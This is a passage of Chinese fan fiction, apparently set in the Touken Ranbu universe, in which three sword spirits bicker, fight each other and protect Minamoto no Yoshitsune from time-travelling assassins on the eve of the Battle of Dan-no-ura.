鹤丸国永微微一怔,脸上的神情柔软下来,抬手揉了揉小乌埋在他胸口的脑袋。 “好、好......是我错了,我会注意休息的。” “有什么事也要跟我和千子先生说!我们都会帮你的。”小乌补充。 “一定,一定。” 鹤丸国永能感受到小乌对他的那份毫无保留的担忧和依赖,心里软成一片。 “谢谢你,谢谢你们。” 真好啊,同伴。 关心和陪伴如同寒冬里熨帖的绒毯,温暖了他的疲惫的灵魂;他们之间的羁绊又铸成了沉甸甸的枷锁,束缚着他的羽翼,又不舍得挣脱,只能留下心底的一声声叹息。 这让他该怎么办才好呢? 还有千子......答应了蜻蛉切要好好照顾他的家人,他就一定要做到才行。 “......” “呀——这么跟你聊聊天感觉心里轻松很多了呢!” 鹤丸推开小乌站起来伸了个懒腰,从脸上的表情看,似乎因为吐出心中压抑的情感后放松了不少。 “对了,告诉你一个小秘密,如何?” “什、什么?” 小乌被这突然的变化打了个措手不及,慌里慌张地借着耳羽挡住脸,伸手想要在鹤丸国永看到前把泪水擦干净。 鹤丸抱着手看破不说破,等他擦。 “但是有个条件。” 小乌:“唔?” 小乌擦完后听到鹤丸国永的话,条件反射抬头看他,然后看到他的胸前的衣服印上了两只边缘不规则的眼睛。 小乌:瞳孔地震。 洗马达! 鹤丸国永还没发现身上被水渍印出来的图案,只是自顾自说道:“给我摸摸你的小翅膀。” 他想玩很久了!自从上次偷偷玩结果被翅膀扇了之后,他再也没有找到机会摸过了! 他好奇!他心痒!他无比地想知道刀剑男士是怎么长出这种非人的结构的,难道是因为名字有乌鸦吗?那为什么他的名字有鹤却不长鹤翼? 小乌:你想得美! “......行。” 直了一辈子的腰终究是断了。 千万不要发现,求求了qaq 20-30 第21章 三合一 一天不见两刃鼻青脸肿的…… “告诉你一个小秘密, 其实我一直都知道千子那家伙之前经常往饭里加料哦。” “什么?你居然知道吗?!” 还以为你没发觉自己每次沾上枕头就睡着是被毒晕过去了呢! 小乌猛地抬起头,表情呆滞。 “噗哈哈!咳咳” “哈!中毒了我当然会察觉得到,但是我并不觉得他会害我, 后来第二天醒来觉得睡眠效果不错, 就放任了。” 鹤丸国永看着他呆滞的脸忍俊不禁, 但想着不远处的屋子里还有刃在睡觉,只能憋着,肩膀一耸一耸的。 他好不容易平复了一点,才继续压低声音说:“那家伙啊, 他知道我不舒服,睡不安稳, 所以才放了那些吧, 大概是想用点‘安神’的东西让我睡个好觉吧?虽然方法有点嗯,独特。” “我只是装作不知道而已,不辜负他的一片好心啦。” 原来一直都睡不好吗?还以为是最近暗堕加重才开始的,这么说来自从他接手做饭后就不再放这些东西了,鹤丸是不是也一直都睡不好?那我是不是接着放比较好 不不不能这么想!怎么样也是带毒的,会损害身体的吧! 但是该用其他什么办法呢?自己也不认识什么有安眠镇静作用的草药, 嗯去最近的城镇买一点吧, 战争一旦开始,很多物资都会不方便购买, 并且随着战场的转移他们也许很快就要换地方了, 得多屯一些, 顺便也屯一些伤药 小乌陷入沉思。 “好了, 你该去睡了,不是要替我去t?巡逻吗?那明天就交给你了哦!”鹤丸拍拍小乌的后背。 “那你” “我也一起去睡。” “好!” 第二天清晨,林间的薄雾还尚未散去, 但大家都已经起床收拾好了。 毕竟在古代,人们日升而作,日落而息,早上很早就起来干活运作了,不像现代人睡到日上三竿才起,所以小乌他们也至少必须跟着这些古人的作息来行动。 鹤丸国永今天看起来是真不打算出门了,准备好好休息一天。 他仔细地为小乌检查了一下要随身带的干粮和水,叮嘱他:“我们现在要做的主要是观察,远远看着就好,不到必要时刻就不要暴露自己的身形,如果发现任何觉得自己无法应对的情况,立刻撤退,明白吗?保全自己最重要。” “明白!”小乌用力点头,“我会小心的。” 另一边,千子村正已经收拾妥当,他今天要做的是前往最近的村落城镇采买物资,他们之所以能在这个小岛上藏这么久就是因为这个地方没有人烟,鸟不拉屎,也就生态不错还能打打猎不至于饿死,距离村落有些距离,还需要划船过去,一去就是大半天,所以必须有一个人专门去一趟。 千子村正的手臂受伤了,小乌阻止他出阵,要和千子村正调换任务。 两刃想着也可以让孩子锻炼一下,所以采买的这个活就由千子村正接手了。 小乌连忙跑过去,将自己昨夜因为鹤丸国永那一茬而考虑好的新需求一一告知:“千子先生!除了粮食和伤药,再帮忙带一些安神助眠的草药吧!” 他想到鹤丸国永夜里辗转反侧的样子心里就揪得慌。 千子村正挑眉,看向不远处正在活动筋骨的鹤丸国永:暴露了? 鹤丸国永趁小乌还没看过来的时候朝他做了个苦瓜脸,等小乌顺着千子村正的视线看过去后马上恢复表情,无辜地看着他。 小乌:“?” 我怀疑你们背着我在加密通话。 千子村正用力揉了一把小乌蓬松的发顶,回应:"知道了。" 千子村正还要一会出发,于是小乌紧了紧腰间的本体刀,率先出门了。 他的第一个目标是找到一个能俯瞰到彦岛的高点。 山路崎岖,但小乌的身形在林间敏捷地穿梭着,丝毫不受地势影响——这得益于这段时间鹤丸国永和千子村正对他严苛的训练。 他避开了几处时间溯行军经常游荡的区域,寻找并抵达了合适的临海高崖,视野开阔,也借着晨雾的掩护观察平氏那边的动向。 从高处望去,下方的彦岛静静地漂浮在濑户内海的海湾之中,几公里外的周边能够看到树立着源氏旗帜的船只在游走,将这座岛封锁得密不透风,隐隐约约能够看到岛上平氏营寨的轮廓。 据今日观察,彦岛上升起的炊烟愈发减少,频率也开始降低了,足以说明他们的补给已经所剩无几,坚持不了太久。 现在是三月中旬,坛之浦战役将会在三月二十四日清晨开始,算算日子也差不多了。 “这种状况下没办法靠近呢。”小乌低声自语,眉头紧锁。 任何试图靠近或离开彦岛的船只都会被立刻发现并拦截,在海路上隐藏行踪比在陆路难度高多了,只能放弃深入。 不过在源氏铁桶般的包围下,时间溯行军同样也讨不了好,所以见平氏没什么异常小乌便不再在这里浪费时间,眺望了一下对岸,确定了源氏营寨的方向,前往下一个观察地点。 与彦岛遥遥相对的海岸线那边景象截然不同,营帐连绵不绝,炊烟袅袅升起,远远就能听到士兵训练时震天的呐喊,源氏的白旗在晨风中猎猎作响。 工匠们也正在赶制弓箭和修补、检查战船,已经有数百艘战船停泊在岸边,桅杆高耸,船帆尚未完全升起,但已蓄势待发。 “哦!熊野水军河野水军” 小乌辨认出了几面不同所属的旗帜,看来源义经确实如历史记载的那样,正在集结各地的水军。 呜姆,这边似乎也在照常进行。 那么源义经人呢? 小乌搜寻片刻,找到了源范赖,找到了武藏坊弁庆,却始终没发现源义经的身影。 去哪了? 小乌伏在山崖边缘,一遍遍地扫过每一个角落,唯独不见这个即将在坛之浦战役中登场的重要主角。 他的心一点点沉下去。 人不在大本营里,甚至连武藏坊弁庆都不跟在身边 小乌迅速改变计划,远距离观察已经失去了意义,他决定靠近营地侦察源义经的去向。 他果断放弃了这一处安全的制高点,犹如一只灵巧地山猫,借着嶙峋的石头作为落脚点,蹭着灌木的掩护,另辟蹊径快速下崖,向下方的源氏营地潜去。 来吧,侦察敌人行踪! 空气中弥漫的海腥味、木料和桐油的味道,小乌屏息凝神,将感知提升到极限,还见缝插针地用灵力去尝试寻找附近是否有时间溯行军的气息。 在到达一片僻静的海湾处附近时,小乌察觉到了时间溯行军的气息! 同时,他也听到了隐约的厮杀声。 “糟了!” 小乌握紧刀柄迅速疾冲而去。 绕过最后一块遮挡视线的礁石,源义经果然在此! 不知道他是出来干什么的,就带了两个人,已经被时间溯行军杀死了,只剩下源义经在苦苦支撑。 除此之外,岸边有一艘破烂的小船,地上还躺着一个时间溯行军的尸体,正在渐渐消散,大概是被三人合力杀死了。但敌人有四个,源义经依然要面对以一对三的局面。 一振敌打,两振敌短,正从三个方向朝着源义经袭去。 三振敌刀,可以应对! 千钧一发之际,小乌从天而降,一道银光闪过,两振敌短就被一刀两断,源义经被小乌一脚踹走。 “退后!” 来不及二次举刀抵挡敌打的进攻,小乌脚下一错矮身躲过,直接屈腿就着这个姿势朝前用肩膀撞去,把敌打撞得一个趔趄,失去平衡。 紧接着一个旋身绕到其身后,提刀将它的头颅斩下! 战斗在电光火石间结束,几具时间溯行军的尸体逐渐消散,源义经坐在地上震惊地看着这个突然出现的人。 “多谢相救!”源义经爬起来把刀捡回收入鞘中,郑重地行礼道谢,“在下源义经,阁下的救命之恩在下感激不尽,不知阁下是?” 当小乌转过身来时,源义经的眼睛定在小乌脸庞两侧的耳羽挪不开视线。 这、这?! 耳羽在小乌的动作中跟着抖动了几下,海风吹过,羽毛也跟着起伏。 看起来不像是什么装饰,像是真正长在人类身体上的器官。 这个人是人类吗?莫非是什么精怪? 再细细打量,从未见过的奇装异服,但是看起来布料上乘,做工精良,看起来不比平安京的贵族所穿的差,甚至还要更好。 “您” 源义经斟酌着即将出口的话语,面前的少年虽然身高比他高一些,但论相貌来看都像是个比他小很多的少年人,但非人的特征又让他不敢确定此人的年龄是否和外表一致。 最后他还是决定放低姿态来与这位救命恩“人”交流:“在下曾经多次遭受这样的团伙袭击,同样被和您一样服饰奇特的人所救,可否告知身份?他日在下定会亲自上门奉上重礼以表感谢” “” 小乌被他看得浑身不自在,尤其是对方的目光总是忍不住瞥向他那对无法隐藏的耳羽,他侧过脸,手腕转动将刀上的血迹甩去,入鞘,谨记着两位前辈的叮嘱,不随意搭话。 唉,就是因为这样才急着趁机和千子先生交换任务啊,本身衣服就足够违和,再加上这对小翅膀,每次去人群聚集的地方都得带有兜帽的披风遮起来。 第一次去没有注意,刚进入城镇就被门口的小孩扔石头,还骂他是怪物,要赶他走。 本来就害怕和人打交道,还被人群排斥,要不是鹤丸国永坚持按头让他去锻炼自己,学会和别人交流,他早就躲起来不出门了。 还是战斗好啊,杀时间溯行军好爽,果然刀就是该上战场! 质疑战斗爽,理解战斗爽,成为战斗爽! 啊话题转回来,从义经公的话来看,已经见过鹤丸和千子先生很多次了啊 也是,从来到这里的那天鹤丸就说过他们是追随着源义经来到这的,估计他是时间溯行军的重点标记人t?物吧。 历史重要人物都被袭击这么多次了,怎么时之政府还没检测到异常,真的靠谱吗? 小乌这么想着,嘴不自觉地撅了起来,然后想起面前还有人,又赶紧抿起嘴唇,保持面无表情的高冷姿态。 既然源义经已经脱困,他也该尽快离开这个地方。 见小乌想走,源义经急忙向前一步,语气急切:“等等!请问大人是何方神圣,若大人有意,我等可供奉”?这是脑补了些什么? 啊,是在怀疑我的身份吗 真麻烦。 “你不需要知道。” 小乌语气硬邦邦地丢下这句话后足下发力,源义经只见眼前一花,那道黑红色的身影便已如轻盈的飞鸟般,几个跃起便消失在了林间,不见踪影。 “等等!恩人!”源义经大惊,立刻拔腿追赶,但毕竟只是血肉之躯,纵使武艺高强,也无法追上一个全力奔跑的付丧神,追了一段距离后只能无奈地停下脚步,仰头看着小乌离开的方向。 咸腥的海风吹拂他额前的碎发,也吹不散他心头的重重迷雾,源义经最后深深看来一眼小乌消失的方向,带着满腹疑惑快步回到了营寨,吩咐下属去待会为了保护他而被杀死的两位士兵尸体,好好安葬。 大战在即,关乎源氏的未来,关乎兄长的荣誉,他没有那么多时间来考虑别的事情了,必须全力以赴筹备。 至于那几个奇怪的人,也许以后还有缘分再相见吧 夕阳的余晖将海面染成一片温暖的金红色,小乌今天除了遇上源义经遇袭后就再也没有碰上什么紧急状况了,路上偶尔砍几只落单的时间溯行军,现在正在回程的路上。 而另一边,鹤丸国永刚踏着残阳的最后几缕光回到小岛,跑了很长一段路让他气喘吁吁。 唉,既要远远跟上小乌,又要注意不被他察觉,比他预想的要费力许多。 他蹑手蹑脚,贴着阴影溜到木屋前,然后像被施了定身咒般僵在原地。 千子村正此刻正大马金刀地坐在门口,手肘支着膝盖,眼睛眯起看着他。 “哟,千子,这么快就回来啦?”鹤丸国永扯出一个不自然的笑容。 “鹤丸,你去哪了?” 不妙啊,这个语气听起来真不太妙。 他下意识后退了半步。 “哎呀,这不是屋里太闷了,也没有人聊天,怪无聊的,所以就出来在附近走走透透气嘛” “透气?” 千子村正打断他,缓缓站起身,一步步逼近,目光定格在他身上的护甲上质问他:“穿着出阵服带着护甲去附近透气?” 他的尾音徒然拔高,怒气冲冲:“鹤丸国永!你是不是偷偷跟着小乌出去了?你把我当傻子吗?!” 谎言被戳破,鹤丸国永的嘴唇嗫嚅着,想着解释但又找不到合适的借口,最终只能狼狈地移开视线沉默以对,脸色黯淡。 这副模样千子村正看着气不打一处来! 他猛地上前粗暴地一把揪住鹤丸国永的衣领提起来,扯到近前,两人额头对着额头,咬牙切齿。 “回答我!你到底在想什么?!你当我们是还没有断奶的奶娃娃吗?需要你拖着身体像老母鸡一样寸步不离地守着?你自己身体现在是什么情况你自己不清楚吗?!暗堕严重到了什么程度心理没数吗?!” 衣领紧紧勒着脖子,让鹤丸国永的呼吸有些困难,抬手将千子村正的手掰松一些,断断续续地解释:“我们不一样” “有什么不一样的?有什么区别?!” “啊,我知道了。”千子村正嗤笑一声,“你是认为我这把妖刀很没用是吗?啊没错!我就是不详的象征,跟你这种高洁的皇家御物就是一个天上一个地下,没得比” “够了!”鹤丸国永火气也噌的一下上来了,但因为自知理亏,还是软下了声音。 “我只是把你们当成重要的伙伴,想保护好你们,把你们安全地送到时之政府!村正,你听我说,你只是没有遇到良主,等你回到时政举报你的前主后,时之政府还会替你寻找能够理解你、爱护你的好主人,不用再” “那我问你!”千子村正声嘶力竭地吼叫,用力地摇晃鹤丸国永,想把他脑袋里的水都摇出来,“你只想着把我们送走,那你自己呢?你打算做什么?你考虑过你的未来吗?!” “我?”鹤丸挣扎的动作突然停了下来,表现出了片刻茫然,“我我只要你们好好的就” “砰!” 千子村正不想再听这种狗屁话,毫无预兆地狠狠一拳砸在鹤丸国永的脸上。 闷响和撞击声在寂静的林间格外刺耳,鹤丸国永被打了一个趔趄,脑袋嗡嗡作响,眼前发黑,舌头不小心被咬到,温热的血顺着嘴角流下. 千子村正将试图爬起来的鹤丸摁在地上,俯视着他,眼神凶狠得像是要将他生吞活剥了一般。 “我告诉你鹤丸国永!”千子村正一字一顿,每个字都仿佛是从牙缝中硬生生挤出来的,“我们两个的命是蜻蛉切牺牲自己换来的!你要是敢不爱惜这条命,再这么糟贱自己,我现在就亲手把你宰了塞回本灵那里去!省得你在这里找死!” 听到蜻蛉切的名字后,鹤丸国永大脑空白了一阵,悲痛和愧疚向他席卷而来,自责和绝望无处宣泄,在不甚清醒的头脑的促使下,残存的理智彻底被清空。 “那你要我怎么样?!怎么样啊——!”鹤丸国永哽咽一声,捂着脸抬起头,金色的瞳孔中开始被大片红色侵占,眼白布满血丝。 千子村正对上他的眼睛,变了脸色:“等等,你的!” 但此时鹤丸国永一直压抑在心底的情绪已经如濒临决堤的洪水,彻底爆发,没有功夫去听千子村正要说什么,用尽全身力气掀翻压在上方的千子村正,反扑过去:“除了这样我还能做什么?!我什么都做不了!” “鹤丸国永你!” 两人瞬间在地面上凶狠地扭打在一起,没有章法,没有技巧,只有凭本能而行动的□□碰撞,发泄着这些日子积累的压力和恐惧,抛却了自己平时恪守的仪态,撕扯翻滚,直到最后重重地撞在墙壁上力竭了才停下。 两人都喘着粗气,脸上和身上都挂了彩,狠狠地瞪着对方。 瞪了两分钟,千子村正粗声粗气地对他说:“起来,小乌快回来了。” “” “嗯?啊,既然衣服上都是土了,那就了脱了吧!” “别脱啊!” 小乌哼着不成调的歌踏上小岛,今天是第一次离开同伴们这么长时间,还稍稍有些不习惯,但只要他想到马上就可以见到同伴心情就会变得很好,脚步都不由得轻快了些。 “鹤丸!你是在等我回来吗?” 他一眼就看见坐在门口那个熟悉的身影,开心极了,大老远就挥手和他打招呼。 鹤丸国永转身的动作明显僵了一下,似乎是在斟酌要不要躲起来,但就在纠结的这几秒钟,小乌已经几步跑到近前,笑容在看清鹤丸国永的面容的瞬间凝固了。 “?” 欸? 鹤丸国永那张俊秀的脸蛋,左脸颊青紫高肿,嘴角破裂,还结着暗红的血痂,额头有一道新鲜的口子,脖子上淡淡的,未褪的勒痕,衣服乱糟糟的一团沾满了灰尘,不过黑色太耐脏了看不出到底脏到了什么程度。 眼睛也完全转化成了红色! “你怎么了?!敌袭吗?!” 小乌焦心不已,要凑近观察,却被鹤丸国永不动声色地侧头躲开了。 “啊那个没、没什么大事啊,就。不小心摔的” 鹤丸国永眼神飘忽,想挤出一个笑容,可惜失败了,疼得“嘶”了一声,声音含糊不清。 谁摔跤能再脸上摔出一个拳头印子啊!!! 小乌沉下脸,不再追问支支吾吾的鹤丸国永,径直推开门想先去拿存放在屋内的药膏。 然而屋内的景象让他再次倒吸一口冷气。 千子村正正坐在角落里拿着一块布专注地擦拭自己的本体,听到开门声,他抬起头看过来,嚯!那脸比鹤丸国永的还要精彩! 右眼一圈淤青,肿胀得几乎眯成一条缝,颧骨处高高鼓起,鼻孔下方还残留着擦试过血迹的印子,一头柔顺的长发凌乱不堪,绑在发尾的发带也不见踪影t?。 “千子先生?!”小乌看看鹤丸国永,再看看千子村正,心中的答案呼之欲出,“你们两个打架了?” “哼!”千子村正面色阴沉,用那只没没受伤的眼睛剜了缩在门框边的鹤丸国永,“那你就要问他今天把出阵服穿得这么齐全是干什么去了!” 小乌扭头看向鹤丸国永,鹤丸国永看天看地看空气,就差嘴撅起吹口哨了。 鹤丸国永心虚得要命!本来就是他不听劝擅自跑出去,结果双方打起来时,千子村正看到他的暗堕加重了忍着没怎么还击,反倒让情绪失控的他打了个爽 鹤丸国永:啊啊啊怎么会这样! 干什么去了? 被千子村正点明后小乌才猛然发觉本该休息好好休息的鹤丸国永居然穿着出阵服! 穿出阵服干什么去了?用脚趾头他都能想得到!难怪他总觉得今天总是感觉背后有人,感情是这刃一整天都在跟踪他! 虽然小乌心里知道鹤丸国永这么做一定是因为担心他,但他还是会忍不住想——就这么不信任他的实力吗?! 小乌感到一股怒气直冲头顶,第一次喊了鹤丸国永全名:“你——!鹤丸国永——!” “说好了让我独立巡逻,自己安心修养呢?你答应我好好的,怎么能、怎么能!” 虽然在来到这个世界之前,小乌并没真正接触并了解这个刃,不能说对他的了解是非常正确的,但鹤丸国永最近表现出来的状态已经越来越不对劲了,这种偏执到近乎病态的保护欲不应该由任何一个身心健康的刃表现出来,难道暗堕不仅在破坏鹤丸国永的身体,也在扭曲他的性格吗? 暗堕,最终会将鹤丸国永变成什么样子呢? 小乌不愿意去细想那个未来,哪怕只是想象,他都无法接受。 “抱歉” 鹤丸国永垂下头颅向他们道歉。 吸气。 呼气—— 小乌的一腔怒火被一盆冷水噗的一下浇灭了大半,他真想狠狠骂醒这个家伙,但是承受了对方那么多的善意,他根本没办法对这刃生不起气来。 他面无表情,冷下脸的样子莫名和髭切有那么一瞬间的既视感:“果然还是把鹤的腿打断算了。” “???” 此话一出,鹤丸国永还没表现出什么反应,千子村正先弹起来错愕地看着小乌。 什么玩意?他说什么玩意? 这还是他养的那个乖小孩吗?! 小乌平静地看着他,仿佛刚刚什么都没说。 “等等!等等等等!你说什么?!”千子村正先开始慌了,在他们两之间来回小碎步反复走动,“当真的吗?也不用这样把,是我先动的手,鹤丸罪不至此啊!” 没错没错!说得好啊千子! 鹤丸期待地看向他,希望他再说些什么。 “昨天我就警告过鹤丸了哦,自顾自地的家伙就把他的腿打断,你说是吧?鹤丸?” 突然变成邪恶生巧大福的小乌一脸无辜地看向鹤丸国永。 哦原来已经不是第一次说这种话了。 千子村正默默抱腿坐回去。 打断了他的腿就不能打我了哦。 鹤丸国永鹤丸国永不可置信地看着他。 千子村正:别看我。 小乌从鼻子里又哼出一声气,先去接水烧水,在等待烧开的期间把药膏翻出来啪地一下重重放到桌子上:“等等水烧开了就先洗澡,然后涂药膏,知道了吗?” “是”x2 晚饭时分,餐桌上难得地沉默,只有碗筷碰撞的声响,小乌看着对面吃饭吃得龇牙咧嘴的两人,觉得这顿饭吃得无比艰难。 “我今天救了义经公哦。”小乌自己主动开启话题,打破沉闷的气氛,语气半调侃半无奈的,“果然时间溯行军把目标都放在了源义经身上,鹤丸说得真准,而且义经公还和我提到你们了,看来你们是真的碰上过很多次了,一眼就看出来我和你们是一伙的。” “但是我们真的不用去管源赖朝那边了吗?万一时间溯行军兵分两路” “啊,不用管了。”鹤丸国永果断地说,“就算他们真的这么做,我们也没办法像它们那样。” “是这样没错。”千子村正犹疑地看了一眼鹤丸国永,但还是尊重他的决定,“我们的条件只允许保护一个,源赖朝离我们太远了,远水灭不了近火。” “这样啊但是,这样的话”源赖朝真出事了,他们不也就功亏一篑了吗? 假如历史被破坏了,他们还能得到时之政府的救援吗? 小乌的语气带上了点自己都没察觉到的烦躁和质疑:“这都多少次了,时之政府一点反应都没有吗?这个组织真的靠谱吗?” 鹤丸国永和千子村正因为他们雇佣的人渣而饱受痛苦和煎熬,在这种境遇下都不负使命,时之政府却毫无察觉,如此迟钝又失职。 更甚,他无法理解他的同伴为什么沦落到了这种境地都执着着要保护历史。 怀疑的种子已经种下,埋藏再小乌的心底,他对去时之政府的决定产生了一定的动摇。 真的,要去时之政府吗?去到那里就能得自己想要的吗?还是其实本灵都已经沦陷了呢? 历史,非要维护不可吗?又或者说,非要我们刀剑付丧神来背负这种沉重的责任吗? 如果历史被破坏就能被让我们更容易被时之政府检测到而得救的话他会亲自动手也说不定。 没有人赋予他这个使命,在他眼里,站在面前的同伴在是最重要的,历史什么的在他眼里什么都不是。 人类的他也好,还是如今成为小乌的他也好,都像是一缕没有存在感的幽魂。 所以他不像这些刀剑男士有着各种各样的经历、有着各种各样的故事创造出来的羁绊。他很自私,为了他好不容易拥有的伙伴甚至可以说是家人,他可以不惜一切代价。 他没有选择,没有退路。 “不要多想。”鹤丸国永放下筷子,认真地看着他,“我们这种情况只是少数,况且你是本灵,和我们分灵享受到的是不一样的。” 分灵也是独立的个体,应该得到和本灵同等的尊重。 小乌皱起眉头,他并不认同本灵和分灵的地位差异。本灵是神明,分灵就不是了吗? 小乌停顿了一下筷子,将这份动摇压在心底,“嗯”了一声后便没有再说话,他低下头专注于碗里寡淡的野菜汤,将这片刻的犹疑连同汤水一同咽了下去。 算了,眼前有更迫切的事情要面对,现在想这些也没用,现在努力活下去才是最重要的。 鹤丸和千子比他更有经验和阅历,做出这样的决策有他们自己的考量,他相信他们的决定。 “我吃饱了。” 小乌放下碗筷下桌,一直以来都是他做饭剩下的人洗碗,所以他直接出门了。 木门轻轻合上,鹤丸国永的叹息几乎微不可闻。 千子村正起身收拾碗筷,突然说道:“他比你以为的要坚强的多。” “我知道。”鹤丸国永用掌心盖住眼睛,“我只是有的时候会分不清现在和过去。” 之后几天的平静,像是一层薄冰覆盖在湍急的暗流之上。时间溯行军仿佛凭空蒸发,三刃遇到的敌人少得可怜。 这种反常的现象并不会让三刃认为时间溯行军是打算撤退了,他们警铃大作。 暴风雨前的宁静最为致命。 三月二十三日,坛之浦战役的前一天。 鹤丸国永和千子村正的伤已经被小乌手入完毕,鹤丸国永的眼睛没有再退回金色,但精神尚可。 由于坛之浦战役是在海上展开的,不利于偷袭,所以经过三刃的一致商量和判定,决定在开战前全天候遵守源义经。 今天是源义经战前在陆地上的最后一天,是时间溯行军孤注一掷的最后时机。 他们如同潜伏在阴影中的猎豹,从清晨到日暮,目光紧紧锁定源氏主将的营帐,源义经似乎也感受到了大战将至的凝重,大部分时间都待在大帐内与将领们议事,不难追踪,对于他们的蹲守很友好。 时间一分一秒流逝,日头从中天西斜,最终沉入海平线下,夜色如同浓稠的墨汁,缓缓浸染了天地,源氏营地的篝火点点亮起,夜深后,士兵的喧哗逐渐平息,只余下巡逻的脚步声和海浪拍岸的低语。 营帐内依旧灯火通明,人影晃动,隐约传出源义经和和家臣们讨论的声音。 蹲伏了一整天的t?疲惫感渐渐袭来,但是谁也不敢放松警惕。 就在众人从源义经的营帐离开后,又有一队巡逻士兵经过。 突然,小乌的瞳孔几乎要缩成竖瞳,像野兽一般——他的夜视能力最好,率先发现了敌人。 “来了!”他的声音压得极低。 不知道这队巡逻小队是在哪糟了殃,时间溯行军披着他们的衣服伪装成立巡逻兵,此时到了源义经的营帐前撕开了伪装,竟是破罐子破摔打算直接在源氏的营地中心突入帐篷刺杀源义经。 一振、两振、三振二十振!、 它们目标明确,直直扑入营帐。 源义经和武藏坊弁庆还在帐篷内,见袭击,武藏坊弁庆连忙提刀迎敌,并大声呼救:“敌袭!!!有刺客!!!” “糟了!数量太多了!”千子村正低吼一声,拔刀出鞘,刀身在月光下反射出寒芒。 “动手!保护义经公!”鹤丸国永的声音斩钉截铁,如同离弦之箭率先冲了出去。 小乌和千子村正紧随其后,劈开射向鹤丸国永的数枝箭矢。 真该死啊,时间溯行军还带了远程刀装,他们什么都没有! 战斗在刹那间爆发,整片营地重新亮起灯火,顿时炸开了锅。 小乌身影在敌群中穿行,专攻防御相对薄弱的敌短和敌抢下盘,叮叮当当的金属碰撞声和骨肉撕裂声不绝于耳,同时飞起一脚踹开一个试图从侧面突入营帐的敌刃,瞄准暴露在外的喉管一刀将它钉死在地上。 “就让我看看你们的实力吧!” 千子村正大开大合,一刀劈开袭来的几振敌刃,紧接旋身横扫,逼退数名靠近的敌短。 鹤丸国永身形灵动飘逸,刀光所及带起一片片血雾,然而敌人数量实在是太多了,鹤丸国永被死死围住,刀光剑影几乎将他吞没,暗堕的力量在战斗中开始沸腾,让他的动作越来越狂躁。 “鹤丸!” 小乌喊他。 “别管我!救人!” 武藏坊弁庆魁梧的身躯像一座铁塔挡在主帐门口,薙刀挥舞,但营帐毕竟只是布料搭建的,现在已经被砍得稀烂,没有任何防护作用了,源义经不得不手持太刀冲了出来。 这位天才名将反应极快,看到帐外的混战,立刻明白又是近日来频繁袭击他的团伙,他厉声指挥者闻声赶来的部分士兵迎战,自己也加入了战局,吸引了绝大部分时间溯行军的仇恨。 “义经公!” 源义经看到小乌的身影,眼中闪过一丝惊讶,随即化为感激:“是你是你们,多谢!” “没时间道谢了!跟紧我!” 小乌低喝,挡在源义经身前,刀锋指向蜂拥而来的敌刃,武藏坊弁庆也退至源义经身边,与小乌形成夹角之势,共同守护源义经。 战斗进入了白热化阶段,险象环生,鹤丸国永的衣服已经被划破数道口子,连同皮肉也一起划开,每一次挥刀都带着不顾一切的狠厉。千子村正身上也添了许多伤口,两刃都已经到了中伤的程度。 “不行!这样下去会被耗死!” 第22章 第二十二章 让我们用这个决定行军路线…… 千子村正余光瞥见又有数振敌刃突破武藏坊弁庆的防守, 试图绕后偷袭源义经和小乌,小乌因为缺乏同时对敌大量敌人的经验,显得有些捉襟见肘, 这样下去不太妙。 “鹤丸!掩护我冲过去!” “了解!那么要是在这里输了, 可就谈不上什么惊奇了!” 鹤丸国永开启真剑必杀硬生生在包围中撕开了一道口子, 千子村正抓住这稍纵即逝的机会从那道口子冲出。 “走!”千子村正冲到源义经身边,一把抓住他的手臂,“你的士兵都被挡在包围圈外了,我们必须得冲出去和他们接应, 小乌,我和鹤丸在后面断后, 你护好义经公!” 话音刚落, 四周也开始传出士兵的厮杀声,可以听得出来他们在试图突破时间溯行军的包围进来。 “我知道了!” “我来为大人开路!” 武藏坊弁庆听到他们的对话后连忙说道,提着薙刀冲在最前面试图杀出一条血路。 外围的士兵到来给他们减轻了很多负担,敌刃数量在稳定减少,让五人得到些许喘息之机,鹤丸国永也赶上来和千子村正肩并肩阻挡追兵。 就在他们冲出包围、大家开始稍稍有些松口气的时候, 异变徒生! 一振敌短咬着本体如毒蛇般扭动着骨尾在时间溯行军们投下的阴影处悄无声息地游走, 仿佛融入夜色,避开了大家的视线, 然后骤然暴起, 闪电般从极其刁钻的角度窜出。 小乌察觉不对, 刀尖向下叉去, 但是敌短的体积太过细长,反身一扭就躲了过去,小乌的刀剑扑哧一下插进土地中, 等他拔出来转身时,敌短已经绕过了他。 “义经公!!!”小乌惊恐地大喊警示。 “九郎大人!!!” 武藏坊弁庆听到小乌的呼喊也发觉了敌短的袭击,但他使用的薙刀相比之下过于笨拙,同样让那振敌短绕过了他的防守。 速度太快了! “不——!” 小乌目眦欲裂。 保护源义经是鹤丸和千子交给他的任务,如果让源义经被成功杀死了,让他们辛苦维护许久的历史就此崩塌,他还有什么脸面对他们? 来不及了! 小乌拼尽全力掷出了自己的本体。 噗嗤——! 噗嗤! 小乌听到了两道几乎同时发出的声音,心脏怦怦直跳。 源义经灵敏地察觉到了身后的动静,并从小乌和武藏坊弁庆的呼喊声和他们武器的破空声在几个呼吸间分辨出了后方敌人袭击的方向,几乎在小乌的本体将敌短钉在地上的同时,源义经也在刹那间制动改变了跑动方向。 源义经闷哼一声,一个趔趄,差点摔倒。 但没有被刺中要害! 由于源义经的闪避还有小乌最后投掷而来的本体,短刀只是深深地扎进了源义经的小腿肚。 但伤得也不轻,剧痛让源义经几乎站不稳,鲜血喷涌而出瞬间染红了他的裤腿和脚下的一片地面。 “大人!”武藏坊弁庆急忙回身扶住源义经。 小乌赶上来拔出本体一刀了结了敌短。 “我没事!快走!”源义经咬牙忍痛,脸色煞白,豆大的汗珠从额角滚落,强行支着伤腿跑动。 鹤丸国永和千子村正赶超上来:“我们来!你们两个断后!” “好!” 鹤丸国永和千子村正一人一边架起源义经,在武藏坊弁庆和小乌的拼死掩护下终于冲出了包围圈,跟随接应退到了由士兵组成的防线后。 残余的时间溯行军见大势已去,刺杀计划失败,开始如潮水般退去,只留下满地狼藉和血迹。 “嗷” 最后一个时间溯行军撤退时,它没有直接逃走,而是对着源义经五人这边嘶吼了几声,然后才隐没在黑暗中。 “这是什么意思?挑衅?”千子村正不爽地说道。 看起来好像想表达什么,但是完全听不懂 小乌和千子村正没有再去关注逃走的敌人,这一次的战斗让他们身心疲惫,看着武藏坊弁庆搀扶着源义经进入新的营帐进行治疗后,总算是放松了紧绷的神经。 终于打退敌人了这样一来接下来的战役应该是没有时间溯行军插手的余地了。 小乌边想着边跟随着被源义经派来的士兵引导向为他们安排的营帐走去,那里已经有医师在待命,他们可以好好地清洁一番,再处理一下伤势。 